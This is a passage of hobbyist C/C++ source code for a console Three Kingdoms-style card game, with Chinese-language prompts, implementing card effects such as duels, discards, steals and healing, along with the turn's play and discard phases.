    (*qipaishu)++;
    }
    else
    {
    for(;;)
    {
    (*w1).Kanzhuangbei();
    printf("请输入装备之前的编号,以回车键结束!\n");
    scanf("%d",&x);
    if((((*w1).zhuangbei[x]).leixing!=-1)&&(x>=0)&&(x<=3))
    {
    printf("你弃掉了");
    ((*w1).zhuangbei)[x].Kanpai();
    qipaidui[*qipaishu]=((*w1).zhuangbei)[x];
    ((*w1).zhuangbeishu)--;
    (*qipaishu)++;
    ((*w1).zhuangbei)[x].leixing=-1;
    break;
    }
    else printf("弃你妹的装备!\n");
    }
    }
    }
    }
    printf("玩家发动【贯石斧】武器效果使【杀】造成伤害!\n");
    ((*w2).tili)--;
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    break;
    }
    else if(x==0)break;
    else printf("键盘上的“0”和“1”被你吃了吗?\n");
    }
    }
    else if(x==0&&((*w1).zhuangbei[0].leixing==304))
    {
    for(;;)
    {
    printf("是否发动【青龙偃月刀】武器效果?\n0 否\n1 是\n");
    scanf("%d",&x);
    if(x==1)
    {
    for(;;)
    {
    printf("请对电脑使用一张【杀】!\n请输入手牌之前的编号,或者输入“-1”放弃出【杀】,以回车结束!\n");
    (*w1).Kanshoupai();
    scanf("%d",&x);
    if(x==-1)
    {
    return 0;
    break;
    }
    else if((*w1).shoupai[x].leixing==101)
    {
    int i;
    printf("玩家对电脑使用");
    ((*w1).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w1).shoupai)[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    (*qipaishu)++;
    i=Sha(w1,w2,paidui,paiduishu,qipaidui,qipaishu);
    return i;
    break;
    }
    else printf("你确定你打出的是【杀】?\n");
    }
    }
    else if(x==0)
    {
    return 0;
    break;
    }
    else printf("你确定你输入的是“0”或“1”?\n");
    }
    }
    else return 0;
    }
    return 0;
    }
    void Tao(wujiang*w1)
    {
    ((*w1).tili)++;
    if((*w1).juese)printf("玩家");
    else printf("电脑");
    printf("恢复了1点体力!\n");
    if(((*w1).tili)>((*w1).tilishangxian))printf("你被撑死了!\n");
    }
    void Chai(wujiang*w1,wujiang*w2,pai qipaidui[104],int*qipaishu)
    {
    int i,x,y;
    if((*w1).juese)
    {
    for(;;)
    {
    if((*w2).shoupaishu+(*w2).zhuangbeishu+(*w2).pandingshu==0)
    {
    printf("对方空城,拆你妹啊!\n");
    break;
    }
    else
    {
    printf("请选择想拆的区域,输入选项之前的编号,以回车结束!\n0 手牌\n1 装备区\n2 判定区\n");
    scanf("%d",&x);
    if(x==0&&((*w2).shoupaishu==0))printf("你拆掉了一张空气!\n");
    else if(x==1&&((*w2).zhuangbeishu==0))printf("你拆掉了一张空气!\n");
    else if(x==2&&((*w2).pandingshu==0))printf("你拆掉了一张空气!\n");
    else if(x>=0&&x<=2)break;
    else printf("你拆掉了太空区里的一张牌!\n");
    }
    }
    switch(x)
    {
    case 0:
    srand((unsigned)time(NULL));
    y=rand()%((*w2).shoupaishu);
    printf("你弃掉了电脑的");
    ((*w2).shoupai)[y].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[y];
    for(i=y+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    break;
    case 1:
    for(;;)
    {
    (*w2).Kanzhuangbei();
    printf("请输入装备之前的编号,以回车键结束!\n");
    scanf("%d",&y);
    if((((*w2).zhuangbei[y]).leixing!=-1)&&(y>=0)&&(y<=3))
    {
    printf("你弃掉了电脑的");
    ((*w2).zhuangbei)[y].Kanpai();
    qipaidui[*qipaishu]=((*w2).zhuangbei)[y];
    ((*w2).zhuangbeishu)--;
    (*qipaishu)++;
    ((*w2).zhuangbei)[y].leixing=-1;
    if(!y)((*w2).zhuangbei)[y].changdu=1;
    else if(y==2)((*w2).juli[0])++;
    else if(y==3)((*w1).juli[0])--;
    break;
    }
    else printf("你弃掉了一张空气!\n");
    }
    break;
    case 2:
    for(;;)
    {
    (*w2).Kanpandingpai();
    printf("请输入判定牌之前的编号,以回车键结束!\n");
    scanf("%d",&y);
    if((*w2).pandingpai[y].leixing!=-1)
    {
    printf("你弃掉了电脑的");
    ((*w2).pandingpai)[y].Kanpai();
    qipaidui[*qipaishu]=((*w2).pandingpai)[y];
    ((*w2).pandingshu)--;
    (*qipaishu)++;
    ((*w2).pandingpai)[y].leixing=-1;
    break;
    }
    else printf("你弃掉了一张空气!\n");
    }
    break;
    default:break;
    }
    }
    else
    {
    if((*w2).zhuangbeishu)
    {
    if((*w2).zhuangbei[1].leixing!=-1)
    {
    printf("电脑弃掉了玩家的");
    ((*w2).zhuangbei)[1].Kanpai();
    qipaidui[*qipaishu]=((*w2).zhuangbei)[1];
    ((*w2).zhuangbeishu)--;
    (*qipaishu)++;
    ((*w2).zhuangbei)[1].leixing=-1;
    }
    else if((*w2).zhuangbei[3].leixing!=-1)
    {
    printf("电脑弃掉了玩家的");
    ((*w2).zhuangbei)[3].Kanpai();
    qipaidui[*qipaishu]=((*w2).zhuangbei)[3];
    ((*w2).zhuangbeishu)--;
    (*qipaishu)++;
    ((*w2).zhuangbei)[3].leixing=-1;
    ((*w1).juli[0])--;
    }
    else if((*w2).zhuangbei[0].leixing!=-1)
    {
    printf("电脑弃掉了玩家的");
    ((*w2).zhuangbei)[0].Kanpai();
    qipaidui[*qipaishu]=((*w2).zhuangbei)[0];
    ((*w2).zhuangbeishu)--;
    (*qipaishu)++;
    ((*w2).zhuangbei)[0].leixing=-1;
    ((*w2).zhuangbei)[0].changdu=1;
    }
    else
    {
    printf("电脑弃掉了玩家的");
    ((*w2).zhuangbei)[2].Kanpai();
    qipaidui[*qipaishu]=((*w2).zhuangbei)[2];
    ((*w2).zhuangbeishu)--;
    (*qipaishu)++;
    ((*w2).zhuangbei)[2].leixing=-1;
    ((*w2).juli[0])++;
    }
    }
    else
    {
    srand((unsigned)time(NULL));
    y=rand()%((*w2).shoupaishu);
    printf("电脑弃掉了玩家的手牌");
    ((*w2).shoupai)[y].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[y];
    for(i=y+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    }
    }
    }
    void Qian(wujiang *w1,wujiang *w2)
    {
    int i,x,y;
    if((*w1).juese)
    {
    for(;;)
    {
    if((*w2).shoupaishu+(*w2).zhuangbeishu+(*w2).pandingshu==0)
    {
    printf("对方空城啦!你牵走了一张寂寞!\n");
    break;
    }
    else
    {
    printf("请选择想牵的区域,输入选项之前的编号,以回车结束!\n0 手牌\n1 装备区\n2 判定区\n");
    scanf("%d",&x);
    if(x==0&&((*w2).shoupaishu==0))printf("你牵走了一张空气!\n");
    else if(x==1&&((*w2).zhuangbeishu==0))printf("你牵走了一张空气!\n");
    else if(x==2&&((*w2).pandingshu==0))printf("你牵走了一张空气!\n");
    else if(x>=0&&x<=2)break;
    else printf("你牵走了太空区里的一张牌!\n");
    }
    }
    switch(x)
    {
    case 0:
    srand((unsigned)time(NULL));
    y=rand()%((*w2).shoupaishu);
    printf("你牵走了电脑的");
    ((*w2).shoupai)[y].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).shoupai)[y];
    for(i=y+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    ((*w1).shoupaishu)++;
    break;
    case 1:
    for(;;)
    {
    (*w2).Kanzhuangbei();
    printf("请输入装备之前的编号,以回车键结束!\n");
    scanf("%d",&y);
    if((((*w2).zhuangbei[y]).leixing!=-1)&&(y>=0)&&(y<=3))
    {
    printf("你牵走了电脑的");
    ((*w2).zhuangbei)[y].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).zhuangbei)[y];
    ((*w2).zhuangbeishu)--;
    ((*w1).shoupaishu)++;
    ((*w2).zhuangbei)[y].leixing=-1;
    if(!y)((*w2).zhuangbei[y]).changdu=1;
    else if(y==2)((*w2).juli[0])++;
    else if(y==3)((*w1).juli[0])--;
    break;
    }
    else printf("你弃掉了一张空气!\n");
    }
    break;
    case 2:
    for(;;)
    {
    (*w2).Kanpandingpai();
    printf("请输入判定牌之前的编号,以回车键结束!\n");
    scanf("%d",&y);
    if((*w2).pandingpai[y].leixing!=-1)
    {
    printf("你牵走了电脑的");
    ((*w2).pandingpai)[y].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).pandingpai)[y];
    ((*w2).pandingshu)--;
    ((*w1).shoupaishu)++;
    ((*w2).pandingpai)[y].leixing=-1;
    break;
    }
    else printf("你牵走了一张空气!\n");
    }
    break;
    default:break;
    }
    }
    else
    {
    if((*w2).zhuangbeishu)
    {
    if((*w2).zhuangbei[1].leixing!=-1)
    {
    printf("电脑牵走了玩家的");
    ((*w2).zhuangbei)[1].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).zhuangbei)[1];
    ((*w2).zhuangbeishu)--;
    ((*w1).shoupaishu)++;
    ((*w2).zhuangbei)[1].leixing=-1;
    }
    else if((*w2).zhuangbei[3].leixing!=-1)
    {
    printf("电脑牵走了玩家的");
    ((*w2).zhuangbei)[3].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).zhuangbei)[3];
    ((*w2).zhuangbeishu)--;
    ((*w1).shoupaishu)++;
    ((*w2).zhuangbei)[3].leixing=-1;
    ((*w1).juli[0])--;
    }
    else if((*w2).zhuangbei[0].leixing!=-1)
    {
    printf("电脑牵走了玩家的");
    ((*w2).zhuangbei)[0].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).zhuangbei)[0];
    ((*w2).zhuangbeishu)--;
    ((*w1).shoupaishu)++;
    ((*w2).zhuangbei)[0].leixing=-1;
    ((*w2).zhuangbei)[0].changdu=1;
    }
    else
    {
    printf("电脑牵走了玩家的");
    ((*w2).zhuangbei)[2].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).zhuangbei)[2];
    ((*w2).zhuangbeishu)--;
    ((*w1).shoupaishu)++;
    ((*w2).zhuangbei)[2].leixing=-1;
    ((*w2).juli[0])--;
    }
    }
    else
    {
    srand((unsigned)time(NULL));
    y=rand()%((*w2).shoupaishu);
    printf("电脑牵走了玩家的手牌");
    ((*w2).shoupai)[y].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).shoupai)[y];
    for(i=y+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    ((*w1).shoupaishu)++;
    }
    }
    }
    void Wuzhong(wujiang*w1,pai A[104],int *x,pai B[104],int*y)
    {
    Mopai(&((*w1).shoupaishu),(*w1).shoupai,A,x,B,y,(*w1).juese);
    }
    int Juedou(wujiang*w1,wujiang*w2,pai qipaidui[104],int*qipaishu)
    {
    int i,j,x;
    if((*w1).juese)
    {
    for(;;)
    {
    j=0;
    for(x=0;x<((*w2).shoupaishu);x++)
    {
    if((*w2).shoupai[x].leixing==101)
    {
    printf("电脑打出");
    ((*w2).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(int i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    j=1;
    break;
    }
    }
    if(!j)
    {
    printf("玩家对电脑造成1点伤害!\n");
    ((*w2).tili)--;
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    break;
    }
    j=0;
    for(;;)
    {
    printf("请打出一张【杀】响应【决斗】,否则你将受到1点伤害!\n请输入手牌之前的编号,或者输入“-1”放弃出【杀】,以回车结束!\n");
    if(((*w1).zhuangbei[0].leixing==305))printf("如果想发动【丈八蛇矛】效果,请输入“100”,以回车结束!\n");
    (*w1).Kanshoupai();
    scanf("%d",&x);
    if(x==-1)
    {
    int i;
    ((*w1).tili)--;
    printf("电脑对玩家造成1点伤害!\n");
    i=Binsi(w2,w1,qipaidui,qipaishu);
    return i;
    break;
    }
    else if(((*w1).zhuangbei[0].leixing==305)&&x==100)
    {
    pai p=Zhangba(w1,qipaidui,qipaishu);
    p.paifu=-1;
    printf("打出!\n");
    j=1;
    break;
    }
    else if((*w1).shoupai[x].leixing==101)
    {
    printf("玩家打出");
    ((*w1).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w1).shoupai)[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    (*qipaishu)++;
    j=1;
    break;
    }
    else printf("你确定你打出的是【杀】?\n");
    }
    }
    }
    else
    {
    for(;;)
    {
    j=0;
    for(;;)
    {
    printf("请打出一张【杀】响应【决斗】,否则你将受到1点伤害!\n请输入手牌之前的编号,或者输入“-1”放弃出【杀】,以回车结束!\n");
    if(((*w1).zhuangbei[0].leixing==305))printf("如果想发动【丈八蛇矛】效果,请输入“100”,以回车结束!\n");
    (*w2).Kanshoupai();
    scanf("%d",&x);
    if(x==-1)
    {
    int i;
    ((*w2).tili)--;
    printf("电脑对玩家造成1点伤害!\n");
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    break;
    }
    else if(((*w2).zhuangbei[0].leixing==305)&&x==100)
    {
    pai p=Zhangba(w2,qipaidui,qipaishu);
    p.paifu=-1;
    printf("打出!\n");
    j=1;
    break;
    }
    else if((*w2).shoupai[x].leixing==101)
    {
    printf("玩家打出");
    ((*w2).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    j=1;
    break;
    }
    else printf("你确定你打出的是【杀】?\n");
    }
    j=0;
    for(x=0;x<((*w1).shoupaishu);x++)
    {
    if((*w1).shoupai[x].leixing==101)
    {
    printf("电脑打出");
    ((*w1).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w1).shoupai)[x];
    for(int i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    (*qipaishu)++;
    j=1;
    break;
    }
    }
    if(!j)
    {
    printf("玩家对电脑造成1点伤害!\n");
    ((*w2).tili)--;
    i=Binsi(w2,w1,qipaidui,qipaishu);
    return i;
    break;
    }
    }
    }
    }
    int Jiedao(wujiang*w1,wujiang*w2,pai paidui[104],int*paiduishu,pai qipaidui[104],int*qipaishu)
    {
    int i,j=0,x;
    if((*w1).juese)
    {
    for(x=0;x<((*w2).shoupaishu);x++)
    {
    if((*w2).shoupai[x].leixing==101)
    {
    printf("电脑对玩家使用");
    ((*w2).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(int i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    j=1;
    break;
    }
    }
    if(j)
    {
    i=Sha(w2,w1,paidui,paiduishu,qipaidui,qipaishu);
    return i;
    printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w1).tili,(*w1).tilishangxian,(*w2).tili,(*w2).tilishangxian);
    }
    else
    {
    printf("电脑放弃使用【杀】,玩家获得电脑的武器");
    (*w2).zhuangbei[0].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).zhuangbei)[0];
    ((*w2).zhuangbeishu)--;
    ((*w1).shoupaishu)++;
    ((*w2).zhuangbei)[0].leixing=-1;
    ((*w2).zhuangbei)[0].changdu=1;
    (*w1).Kanshoupai();
    return 0;
    }
    }
    else
    {
    for(;;)
    {
    printf("请对电脑使用一张【杀】,否则电脑将获得你的武器!\n请输入手牌之前的编号,或者输入“-1”放弃出【杀】,以回车结束!\n");
    if(((*w2).zhuangbei[0].leixing==305))printf("如果想发动【丈八蛇矛】效果,请输入“100”,以回车结束!\n");
    (*w2).Kanshoupai();
    scanf("%d",&x);
    if(x==-1)break;
    else if(((*w2).zhuangbei[0].leixing==305)&&x==100)
    {
    pai p=Zhangba(w2,qipaidui,qipaishu);
    p.paifu=-1;
    printf("使用!\n");
    j=1;
    break;
    }
    else if((*w2).shoupai[x].leixing==101)
    {
    printf("玩家对电脑使用");
    ((*w2).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    j=1;
    break;
    }
    else printf("你确定你使用的是【杀】?\n");
    }
    if(j)
    {
    i=Sha(w2,w1,paidui,paiduishu,qipaidui,qipaishu);
    return i;
    printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w2).tili,(*w2).tilishangxian,(*w1).tili,(*w1).tilishangxian);
    }
    else
    {
    printf("玩家放弃使用【杀】,电脑获得玩家的武器");
    ((*w2).zhuangbei)[0].Kanpai();
    (*w1).shoupai[(*w1).shoupaishu]=((*w2).zhuangbei)[0];
    ((*w2).zhuangbeishu)--;
    ((*w1).shoupaishu)++;
    ((*w2).zhuangbei)[0].leixing=-1;
    ((*w2).zhuangbei)[0].changdu=1;
    return 0;
    }
    }
    }
    void Taoyuan(wujiang*w)
    {
    if((*w).tili<(*w).tilishangxian)
    {
    ((*w).tili)++;
    if((*w).juese)printf("玩家");
    else printf("电脑");
    printf("恢复1点体力!\n");
    }
    }
    void Kaipai(pai paidui[104],int* paiduishu,int renshu,pai wugu[10])
    {
    int i;
    printf("五谷丰登开牌:\n");
    for(i=1;i<=renshu;i++)
    {
    wugu[i-1]=paidui[104-(*paiduishu)];
    (*paiduishu)--;
    printf("%d ",i-1);
    wugu[i-1].Kanpai();
    }
    }
    void Qupai(pai wugu[10],wujiang*w)
    {
    int i,x;
    printf("五谷丰登开牌:\n");
    for(i=0;(wugu[i].leixing)!=-1;i++)
    {
    printf("%d ",i);
    wugu[i].Kanpai();
    }
    if((*w).juese)
    {
    for(;;)
    {
    printf("请选择你想要的卡牌,输入卡牌之前的编号,以回车结束!\n");
    scanf("%d",&x);
    if(wugu[x].leixing!=-1)
    {
    printf("玩家选择");
    wugu[x].Kanpai();
    (*w).shoupai[(*w).shoupaishu]=wugu[x];
    ((*w).shoupaishu)++;
    for(i=x+1;i<=9;i++)wugu[i-1]=wugu[i];
    wugu[9].leixing=-1;
    break;
    }
    printf("你选择了一张空气加入手牌!");
    }
    }
    else
    {
    printf("电脑选择");
    wugu[0].Kanpai();
    (*w).shoupai[(*w).shoupaishu]=wugu[0];
    ((*w).shoupaishu)++;
    for(i=1;i<=9;i++)wugu[i-1]=wugu[i];
    wugu[9].leixing=-1;
    }
    }
    void Rengpai(pai wugu[10],pai qipaidui[104],int*qipaishu)
    {
    int i;
    for(i=0;wugu[i].leixing!=-1;i++)
    {
    qipaidui[*qipaishu]=wugu[i];
    (*qipaishu)++;
    wugu[i].leixing=-1;
    }
    }
    int Nanman(wujiang*w1,wujiang*w2,pai qipaidui[104],int*qipaishu)
    {
    int i,x;
    if((*w1).juese)
    {
    for(x=0;x<((*w2).shoupaishu);x++)
    {
    if((*w2).shoupai[x].leixing==101)
    {
    printf("电脑打出");
    ((*w2).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(int i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    return 0;
    break;
    }
    }
    printf("玩家对电脑造成1点伤害!\n");
    ((*w2).tili)--;
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    }
    else
    {
    for(;;)
    {
    printf("请打出一张【杀】响应【南蛮入侵】,否则你将受到1点伤害!\n请输入手牌之前的编号,或者输入“-1”放弃出【杀】,以回车结束!\n");
    if(((*w2).zhuangbei[0].leixing==305))printf("如果想发动【丈八蛇矛】效果,请输入“100”,以回车结束!\n");
    (*w2).Kanshoupai();
    scanf("%d",&x);
    if(x==-1)
    {
    int i;
    ((*w2).tili)--;
    printf("电脑对玩家造成1点伤害!\n");
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    break;
    }
    else if(((*w2).zhuangbei[0].leixing==305)&&x==100)
    {
    pai p=Zhangba(w2,qipaidui,qipaishu);
    p.paifu=-1;
    printf("使用!\n");
    return 0;
    break;
    }
    else if((*w2).shoupai[x].leixing==101)
    {
    printf("玩家打出");
    ((*w2).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    return 0;
    break;
    }
    else printf("你确定你打出的是【杀】?\n");
    }
    }
    }
    int Wanjian(wujiang*w1,wujiang*w2,pai paidui[104],int*paiduishu,pai qipaidui[104],int*qipaishu)
    {
    int i;
    i=Shan(w1,w2,paidui,paiduishu,qipaidui,qipaishu);
    if(i==-1)
    {
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    }
    else return 0;
    }
    int Chupai(pai paidui[104],pai qipaidui[104],int *paiduishu,int*qipaishu,wujiang*w1,wujiang*w2,pai yuanshipaidui[2][4][13])
    {
    pai p1;
    int sha=1;int y=-1,i,t=((*w1).shoupaishu)-1;
    for(;;t--)
    {
    if((*w1).juese)
    {
    printf("\n电脑当前手牌数:%d\n",((*w2).shoupaishu));
    (*w2).Kanzhuangbei();
    (*w1).Kanshoupai();
    (*w1).Kanzhuangbei();
    }
    int j=0;
    if((*w1).juese&&((*w1).zhuangbei[0].leixing==305))printf("如果想发动【丈八蛇矛】效果,请输入“100”,以回车结束!\n");
    y=Xuanpai(w1,t);
    p1=Panpai(w1,&sha,y,qipaidui,qipaishu);
    if((p1).leixing==-1)break;
    else if((p1).leixing==0)continue;
    else
    {
    int duixiang;
    duixiang=Mubiao(p1,w1,w2,&sha);
    if(duixiang==-2)continue;
    else
    {
    Da1pai(w1,w2,qipaidui,qipaishu,y);
    Miaoshu(p1,((*w1).juese),duixiang);
    if(!((*w1).juese))
    {
    printf("\n电脑当前手牌数:%d\n",((*w1).shoupaishu));
    (*w1).Kanzhuangbei();
    (*w2).Kanshoupai();
    (*w2).Kanzhuangbei();
    }
    switch(p1.leixing)
    {
    case 101:
    i=Sha(w1,w2,paidui,paiduishu,qipaidui,qipaishu);
    if(i==-1){return -1;break;}
    if((*w1).juese)printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w1).tili,(*w1).tilishangxian,(*w2).tili,(*w2).tilishangxian);
    else printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w2).tili,(*w2).tilishangxian,(*w1).tili,(*w1).tilishangxian);
    break;
    case 103:
    Tao(w1);
    break;
    case 201:
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))Chai(w1,w2,qipaidui,qipaishu);
    else;
    if((*w1).juese)(*w1).Kanshoupai();
    break;
    case 202:
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))Qian(w1,w2);
    else;
    if((*w1).juese)(*w1).Kanshoupai();
    break;
    case 203:
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))Wuzhong(w1,paidui,paiduishu,qipaidui,qipaishu);
    else;
    break;
    case 204:
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))
    {
    i=Juedou(w1,w2,qipaidui,qipaishu);
    if(i==-1)return -1;
    if((*w1).juese)printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w1).tili,(*w1).tilishangxian,(*w2).tili,(*w2).tilishangxian);
    else printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w2).tili,(*w2).tilishangxian,(*w1).tili,(*w1).tilishangxian);
    }
    break;
    case 205:
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))
    {
    i=Jiedao(w1,w2,paidui,paiduishu,qipaidui,qipaishu);
    if(i==-1)return -1;
    if((*w1).juese)printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w1).tili,(*w1).tilishangxian,(*w2).tili,(*w2).tilishangxian);
    else printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w2).tili,(*w2).tilishangxian,(*w1).tili,(*w1).tilishangxian);
    }
    break;
    case 206:
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))Taoyuan(w1);
    j=0;
    for(;;)
    {
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))Taoyuan(w2);
    break;
    case 207:
    pai wugu[10];
    for(i=1;i<=10;i++)wugu[i-1].leixing=-1;
    Kaipai(paidui,paiduishu,2,wugu);
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))Qupai(wugu,w1);
    for(;;)
    {
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))Qupai(wugu,w2);
    Rengpai(wugu,qipaidui,qipaishu); printf("弃牌数:%d\n",*qipaishu);
    break;
    case 208:
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))
    {
    i=Nanman(w1,w2,qipaidui,qipaishu);
    if(i==-1)return -1;
    if((*w1).juese)printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w1).tili,(*w1).tilishangxian,(*w2).tili,(*w2).tilishangxian);
    else printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w2).tili,(*w2).tilishangxian,(*w1).tili,(*w1).tilishangxian);
    }
    break;
    case 209:
    for(;;)
    {
    i=Wuxie(&p1,w1,w2,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    i=Wuxie(&p1,w2,w1,qipaidui,qipaishu,0);
    if(!i)break;
    j++;
    }
    if(!(j%2))
    {
    i=Wanjian(w1,w2,paidui,paiduishu,qipaidui,qipaishu);
    if(i==-1)return -1;
    if((*w1).juese)printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w1).tili,(*w1).tilishangxian,(*w2).tili,(*w2).tilishangxian);
    else printf("玩家当前体力值:%d/%d\n电脑当前体力值:%d/%d\n",(*w2).tili,(*w2).tilishangxian,(*w1).tili,(*w1).tilishangxian);
    }
    break;
    case 361:
    case 362:
    case 363:
    ((*w1).juli[0])--;break;
    case 381:
    case 382:
    case 383:
    ((*w2).juli[0])++;break;
    default:break;
    }
    printf("\n");
    }
    }
    }
    return 0;
    }
    void Qipai(pai shoupai[20],int *shoupaishu,pai qipaidui[104],int *qipaishu,int juese,int *shoupaishangxian)
    {
    int x;
    if((*shoupaishu)>(*shoupaishangxian))
    {
    if(juese!=1&&juese!=0)printf("身份参数错误!");
    int q=(*shoupaishu)-(*shoupaishangxian);
    int i,j;
    for(j=1;j<=q;j++)
    {
    for(;;)
    {
    if(juese)
    {
    printf("弃牌请输入手牌之前的编号,以回车结束!\n注:一次只能弃一张牌\n");
    printf("手牌数:%d\n",*shoupaishu);
    scanf("%d",&x);
    if(x>=0&&x<(*shoupaishu))break;
    else printf("你弃掉了一张空气!\n");
    }
    else
    {
    srand((unsigned)time(NULL));
    x=rand()%(*shoupaishu);
    break;
    }
    }
    qipaidui[*qipaishu]=shoupai[x];
    for(i=x+1;i<=(*shoupaishu);i++)shoupai[i-1]=shoupai[i];
    (*shoupaishu)--;
    if(juese)printf("弃牌阶段玩家弃置");
    else printf("弃牌阶段电脑弃置");
    qipaidui[*qipaishu].Kanpai();
    (*qipaishu)++;
    int m;
    if(juese)
    {
    printf("玩家当前手牌:\n");
    for(m=0;m<=(*shoupaishu-1);m++)
    {
    printf("%d ",m);
    (shoupai[m]).Kanpai();
